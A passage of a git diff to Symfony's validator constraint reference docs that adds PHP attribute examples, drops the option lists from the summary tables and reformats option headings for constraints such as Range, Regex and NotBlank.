         # config/validator/validation.yaml
@@ -244,6 +283,19 @@ can check that a person must be at least 18 years old like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('-18 years')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 42ec3e939e5..05e2dedbfe5 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -7,11 +7,6 @@ options. To force that a value is less than another value, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
@@ -48,6 +43,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual(5)]
+            protected $siblings;
+
+            #[Assert\LessThanOrEqual(
+                value: 80,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +138,19 @@ that a date must be today or in the past like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('today')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -184,6 +210,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('today UTC')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -243,6 +282,19 @@ can check that a person must be at least 18 years old like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('-18 years')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index f5f381629e3..c61b12187b7 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -14,9 +14,6 @@ issues with wrong uppercase/lowercase values and to remove unneeded elements
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Locale`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LocaleValidator`
 ==========  ===================================================================
@@ -43,6 +40,21 @@ Basic Usage
             protected $locale;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Locale(
+                canonicalize: true,
+            )]
+            protected $locale;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 2bee41d5f2c..30a8092c1bc 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -7,9 +7,6 @@ card: before communicating with a payment gateway.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Luhn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LuhnValidator`
 ==========  ===================================================================
@@ -37,6 +34,19 @@ will contain a credit card number.
             protected $cardNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Luhn(message: 'Please check your credit card number.')]
+            protected $cardNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 7468b4bfc4a..c77d0586cbf 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -7,9 +7,6 @@ want to allow zero as value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanValidator`
 ==========  ===================================================================
@@ -37,6 +34,19 @@ The following constraint ensures that the ``withdraw`` of a  bank account
             protected $withdraw;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/TransferItem.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class TransferItem
+        {
+            #[Assert\Negative]
+            protected $withdraw;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -81,8 +91,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be negative.``
 
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index f010acda0b1..0aead7184e3 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -6,9 +6,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Negative` instead.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanOrEqualValidator`
 ==========  ===================================================================
@@ -36,6 +33,19 @@ is a negative number or equal to zero:
             protected $level;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/TransferItem.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnderGroundGarage
+        {
+            #[Assert\NegativeOrZero]
+            protected $level;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -80,8 +90,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be either negative or zero.``
 
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index f5711e001c3..64a2b59733f 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -8,11 +8,6 @@ that a value is not equal to ``null``, see the
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowNull`_
-            - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotBlank`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotBlankValidator`
 ==========  ===================================================================
@@ -40,6 +35,19 @@ class were not blank, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,10 +90,10 @@ class were not blank, you could do the following:
 Options
 -------
 
-allowNull
-~~~~~~~~~
+``allowNull``
+~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, ``null`` values are considered valid and won't trigger a
 constraint violation.
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index bcd1c61b560..74729853128 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -6,11 +6,6 @@ not included in any of the public data breaches tracked by `haveibeenpwned.com`_
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `skipOnError`_
-            - `threshold`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPassword`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPasswordValidator`
 ==========  ===================================================================
@@ -38,6 +33,19 @@ The following constraint ensures that the ``rawPassword`` property of the
             protected $rawPassword;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotCompromisedPassword]
+            protected $rawPassword;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -102,8 +110,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This password has been leaked in a data breach, it must not be used. Please use another password.``
 
@@ -111,8 +119,8 @@ The default message supplied when the password has been compromised.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-skipOnError
-~~~~~~~~~~~
+``skipOnError``
+~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -120,8 +128,8 @@ When the HTTP request made to the ``haveibeenpwned.com`` API fails for any
 reason, an exception is thrown (no validation error is displayed). Set this
 option to ``true`` to not throw the exception and consider the password valid.
 
-threshold
-~~~~~~~~~
+``threshold``
+~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``1``
 
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index e1436657ae8..993402f0964 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -13,11 +13,6 @@ options. To force that a value is equal, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualToValidator`
 ==========  ===================================================================
@@ -53,6 +48,24 @@ the following:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\NotEqualTo('Mary')]
+            protected $firstName;
+
+            #[Assert\NotEqualTo(
+                value: 15,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 66ccb871670..381aa5de2b5 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -13,11 +13,6 @@ the options. To force that a value is identical, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalToValidator`
 ==========  ===================================================================
@@ -54,6 +49,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\NotIdenticalTo('Mary')]
+            protected $firstName;
+
+            #[Assert\NotIdenticalTo(
+                value: 15,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 56d088c4cba..3c34f8e221e 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -7,9 +7,6 @@ constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotNull`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotNullValidator`
 ==========  ===================================================================
@@ -37,6 +34,19 @@ class were not strictly equal to ``null``, you would:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotNull]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index af76f205e53..b918c21695a 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -7,9 +7,6 @@ want to allow zero as value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Positive`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
@@ -37,6 +34,19 @@ positive number (greater than zero):
             protected $income;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Employee.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Employee
+        {
+            #[Assert\Positive]
+            protected $income;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,8 +92,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be positive.``
 
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index ea762e78f90..2d39d0d6d19 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -6,9 +6,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Positive` instead.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
@@ -36,6 +33,19 @@ is positive or zero:
             protected $siblings;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\PositiveOrZero]
+            protected $siblings;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -80,8 +90,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be either positive or zero.``
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index d5b473362dd..1812eeba82b 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -5,17 +5,6 @@ Validates that a given number or ``DateTime`` object is *between* some minimum a
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `invalidDateTimeMessage`_
-            - `invalidMessage`_
-            - `max`_
-            - `maxMessage`_
-            - `maxPropertyPath`_
-            - `min`_
-            - `minMessage`_
-            - `minPropertyPath`_
-            - `notInRangeMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Range`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator`
 ==========  ===================================================================
@@ -23,7 +12,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator`
 Basic Usage
 -----------
 
-To verify that the "height" field of a class is between "120" and "180",
+To verify that the ``height`` field of a class is between ``120`` and ``180``,
 you might add the following:
 
 .. configuration-block::
@@ -47,6 +36,23 @@ you might add the following:
             protected $height;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Range(
+                min: 120,
+                max: 180,
+                notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
+            )]
+            protected $height;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +131,22 @@ date must lie within the current year like this:
             protected $startDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            #[Assert\Range(
+                min: 'first day of January',
+                max: 'first day of January next year',
+            )]
+            protected $startDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -195,6 +217,22 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $startDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            #[Assert\Range(
+                min: 'first day of January UTC',
+                max: 'first day of January next year UTC',
+            )]
+            protected $startDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -265,6 +303,22 @@ can check that a delivery date starts within the next five hours like this:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\Range(
+                min: 'now',
+                max: '+5 hours',
+            )]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -317,8 +371,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-invalidDateTimeMessage
-~~~~~~~~~~~~~~~~~~~~~~
+``invalidDateTimeMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
@@ -337,8 +391,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-invalidMessage
-~~~~~~~~~~~~~~
+``invalidMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
@@ -358,16 +412,16 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "max" value. Validation will fail if the given
 value is **greater** than this max value.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or less.``
 
@@ -384,8 +438,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-maxPropertyPath
-~~~~~~~~~~~~~~~
+``maxPropertyPath``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -402,16 +456,16 @@ with regard to the ``$deadline`` property of the same object, use
     include it in the error messages displayed to end users, it's useful when
     using APIs for doing any mapping logic on client-side.
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "min" value. Validation will fail if the given
 value is **less** than this min value.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or more.``
 
@@ -428,8 +482,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-minPropertyPath
-~~~~~~~~~~~~~~~
+``minPropertyPath``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -446,8 +500,8 @@ with regard to the ``$startDate`` property of the same object, use
     include it in the error messages displayed to end users, it's useful when
     using APIs for doing any mapping logic on client-side.
 
-notInRangeMessage
-~~~~~~~~~~~~~~~~~
+``notInRangeMessage``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be between {{ min }} and {{ max }}.``
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 642a1fc180d..d4ecf423fd0 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -5,13 +5,6 @@ Validates that a value matches a regular expression.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `htmlPattern`_
-            - `match`_
-            - `message`_
-            - `pattern`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Regex`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RegexValidator`
 ==========  ===================================================================
@@ -41,6 +34,19 @@ more word characters at the beginning of your string:
             protected $description;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex('/^\w+/')]
+            protected $description;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -110,6 +116,23 @@ it a custom message:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex(
+                pattern: '/\d/',
+                match: false,
+                message: 'Your name cannot contain a number',
+            )]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -167,20 +190,20 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-htmlPattern
-~~~~~~~~~~~
+``htmlPattern``
+~~~~~~~~~~~~~~~
 
 **type**: ``string|boolean`` **default**: null
 
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
 will convert the pattern given in the `pattern`_ option into an HTML5 compatible
-pattern. This means that the delimiters are removed (e.g. ``/[a-z]+/`` becomes
-``[a-z]+``).
+pattern. Notably, the delimiters are removed and the anchors are implicit (e.g.
+``/^[a-z]+$/`` becomes ``[a-z]+``, and ``/[a-z]+/`` becomes ``.*[a-z]+.*``).
 
 However, there are some other incompatibilities between both patterns which
 cannot be fixed by the constraint. For instance, the HTML5 ``pattern`` attribute
-does not support flags. If you have a pattern like ``/[a-z]+/i``, you
+does not support flags. If you have a pattern like ``/^[a-z]+$/i``, you
 need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 .. configuration-block::
@@ -197,12 +220,28 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             /**
              * @Assert\Regex(
              *     pattern     = "/^[a-z]+$/i",
-             *     htmlPattern = "^[a-zA-Z]+$"
+             *     htmlPattern = "[a-zA-Z]+"
              * )
              */
             protected $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex(
+                pattern: '/^[a-z]+$/i',
+                htmlPattern: '^[a-zA-Z]+$'
+            )]
+            protected $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -211,7 +250,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 name:
                     - Regex:
                         pattern: '/^[a-z]+$/i'
-                        htmlPattern: '^[a-zA-Z]+$'
+                        htmlPattern: '[a-zA-Z]+'
 
     .. code-block:: xml
 
@@ -225,7 +264,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 <property name="name">
                     <constraint name="Regex">
                         <option name="pattern">/^[a-z]+$/i</option>
-                        <option name="htmlPattern">^[a-zA-Z]+$</option>
+                        <option name="htmlPattern">[a-zA-Z]+</option>
                     </constraint>
                 </property>
             </class>
@@ -245,15 +284,15 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             {
                 $metadata->addPropertyConstraint('name', new Assert\Regex([
                     'pattern' => '/^[a-z]+$/i',
-                    'htmlPattern' => '^[a-zA-Z]+$',
+                    'htmlPattern' => '[a-zA-Z]+',
                 ]));
             }
         }
 
 Setting ``htmlPattern`` to false will disable client side validation.
 
-match
-~~~~~
+``match``
+~~~~~~~~~
 
 **type**: ``boolean`` default: ``true``
 
@@ -262,8 +301,8 @@ the given `pattern`_ regular expression. However, when this option is set
 to ``false``, the opposite will occur: validation will pass only if the
 given string does **not** match the `pattern`_ regular expression.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not valid.``
 
@@ -282,8 +321,8 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-pattern
-~~~~~~~
+``pattern``
+~~~~~~~~~~~
 
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 39424a6c523..5bc2e044db5 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -13,9 +13,6 @@ using :doc:`GroupSequence </validation/sequence_provider>` which allows more con
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `constraints`_
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Sequentially`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SequentiallyValidator`
 ==========  ===================================================================
@@ -35,7 +32,7 @@ In such situations, you may encounter three issues:
 
 * the ``Length`` or ``Regex`` constraints may fail hard with a :class:`Symfony\\Component\\Validator\\Exception\\UnexpectedValueException`
   exception if the actual value is not a string, as enforced by ``Type``.
-* you may end with multiple error messages for the same property
+* you may end with multiple error messages for the same property.
 * you may perform a useless and heavy external call to geolocalize the address,
   while the format isn't valid.
 
@@ -120,7 +117,7 @@ You can validate each of these constraints sequentially to solve these issues:
             {
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
                     new Assert\NotNull(),
-                    new Assert\Type("string"),
+                    new Assert\Type('string'),
                     new Assert\Length(['min' => 10]),
                     new Assert\Regex(self::ADDRESS_REGEX),
                     new AcmeAssert\Geolocalizable(),
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index e94613e1f6f..b3f13894120 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -6,9 +6,6 @@ be cast into a string) that follows a valid ``HH:MM:SS`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Time`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TimeValidator`
 ==========  ===================================================================
@@ -37,6 +34,22 @@ of the day when the event starts:
             protected $startsAt;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            /**
+             * @var string A "H:i:s" formatted value
+             */
+            #[Assert\Time]
+            protected $startsAt;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 98ca73c156a..d155f09dcfd 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -5,12 +5,6 @@ Validates that a value is a valid timezone identifier (e.g. ``Europe/Paris``).
 
 ==========  ======================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `countryCode`_
-            - `groups`_
-            - `intlCompatible`_
-            - `message`_
-            - `payload`_
-            - `zone`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Timezone`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TimezoneValidator`
 ==========  ======================================================================
@@ -38,6 +32,19 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
             protected $timezone;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/UserSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UserSettings
+        {
+            #[Assert\Timezone]
+            protected $timezone;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,8 +89,8 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
 Options
 -------
 
-countryCode
-~~~~~~~~~~~
+``countryCode``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -96,8 +103,8 @@ The value of this option must be a valid `ISO 3166-1 alpha-2`_ country code
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-intlCompatible
-~~~~~~~~~~~~~~
+``intlCompatible``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -110,8 +117,8 @@ timezones provided by PHP's Intl extension (because they use different ICU
 versions). If this option is set to ``true``, this constraint only considers
